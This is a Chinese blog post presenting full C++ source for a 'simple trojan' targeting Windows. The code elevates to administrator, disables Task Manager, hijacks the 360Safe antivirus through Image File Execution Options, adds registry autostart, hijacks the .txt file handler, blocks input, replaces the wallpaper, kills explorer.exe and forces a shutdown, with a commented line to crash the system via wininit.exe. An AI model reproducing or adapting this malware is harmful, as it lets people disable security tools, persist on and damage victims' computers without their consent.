0
点赞
收藏
分享

微信扫一扫

简易木马病毒缩写

小时候是个乖乖 2022-02-07 阅读 99
c++

一个简单木马例子

#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <tchar.h>
void virus(){
    DWORD dwWallPaperStyle=2;
    int iRet;
    HKEY hkey;
    //执行文件所在路径
    TCHAR szPath[MAX_PATH]={0};
    GetModuleFileName(NULL,szPath,MAX_PATH);
           
       //执行文件所在文件夹的路径 
       TCHAR szFolderPath[MAX_PATH]={0};
       strcpy(szFolderPath,szPath);
    (_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
        
    //要更换壁纸的保存路径 
    TCHAR szChangeWallPaper[MAX_PATH]={0};
    TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
    strcpy(szChangeWallPaper,szFolderPath);
    strcat(szChangeWallPaper,szPictureName);
       
       //修改开机欢迎词
    TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
    TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
    RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
    RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
    RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
    RegCloseKey(hkey);
    
    //ImageHijack镜像劫持360
    TCHAR szHijk[300]={0};
    strcpy(szHijk,szPath);
    strcat(szHijk,TEXT(" 360Safe"));
    RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
    iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
    RegCloseKey(hkey);
    if(iRet==0){
        MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
    }else{
        MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
    }
    
    //黑屏
    BlockInput(TRUE);
    SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(2000);
    BlockInput(FALSE);
        
    //修改桌面背景
    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
    
    RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
    RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
    RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
    RegCloseKey(hkey);
        
    //设置开机自启
    TCHAR szAutoRun[MAX_PATH]={0};
    strcpy(szAutoRun,szPath);
    strcat(szAutoRun,TEXT(" normal"));
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
    RegCloseKey(hkey);
        
    //设计txt文件自启
    RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
    RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
    RegCloseKey(hkey);
    
    Sleep(10000);
    WinExec("taskkill /im explorer.exe /f",SW_HIDE);
    Sleep(3000);
    WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);
    
    //蓝屏 
//  WinExec("taskkill /im wininit.exe /f",SW_HIDE);
}
VOID ManagerRun(LPCSTR exe,LPCSTR param){
 SHELLEXECUTEINFO ShExecInfo; 
 ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
 ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
 ShExecInfo.hwnd = NULL;  
 ShExecInfo.lpVerb = "runas";  
 ShExecInfo.lpFile = exe; 
 ShExecInfo.lpParameters = param;   
 ShExecInfo.lpDirectory = NULL;  
 ShExecInfo.nShow = SW_SHOW;  
 ShExecInfo.hInstApp = NULL;   
 BOOL ret = ShellExecuteEx(&ShExecInfo);  
 CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
    //隐藏控制台窗口 
    HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd){
        ShowWindow(hwnd,SW_HIDE);
    }
    
    if(argc == 1){
        //双击打开,只有一个参数 
       ShowWindow(GetConsoleWindow(),SW_HIDE);
       ManagerRun(argv[0],"admin");
       return 0;
    }else if(strcmp(argv[1],"admin")==0){
        //管理员打开
    
        //首先,禁用任务管理器
        DWORD dwDisable=1;
        HKEY hkey;
        int iRet;
        TCHAR ValueInfo[5];
        DWORD ValueSize=sizeof(ValueInfo);
        RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
        RegQueryValueEx(hkey,"DisableTaskMgr",NULL,NULL,(LPBYTE)ValueInfo,&ValueSize);
        if(strcmp(ValueInfo,"\x01\x00\x00\x00")!=0){
            iRet=RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&dwDisable, sizeof(DWORD));
            RegCloseKey(hkey);
            if(iRet==0){
                MessageBox(NULL,TEXT("任务管理器已禁用"),TEXT("哈皮"),MB_OK);
            }else{
                MessageBox(NULL,TEXT("任务管理器禁用失败"),TEXT("Tips"),MB_OK);
            }
        }
        
        int iRet_isPig,iRet_isCheat;
        while (TRUE) {
            iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
            if (iRet_isPig == IDYES) {
                MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
                break;
            }else if(iRet_isPig==IDNO){
                iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
                if (iRet_isCheat == IDYES) {
                    MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
                    continue;
                }else if (iRet_isCheat == IDNO) {
                    MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
                    virus();
                    break;
                }
            }
        }
    }else if(strcmp(argv[1],"360Safe")==0){
        //360劫持嘲讽 
        //当用户打开360时,程序重定向到病毒程序
        
        TCHAR *str[]={"不会吧","不会吧","不会真有人以为使用360就可以解决问题了吧"};
        for(int i=0;i<sizeof(str)/sizeof(str[0]);i++){
            MessageBox(NULL,str[i],TEXT("Tips"),MB_OK);
        }             
    }else if(strcmp(argv[1],"normal")==0){
        //病毒自启重定向 
        MessageBox(NULL, TEXT("哈哈,电脑好像中毒了呢"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
    }
    return 0;
}

举报

相关推荐

0 条评论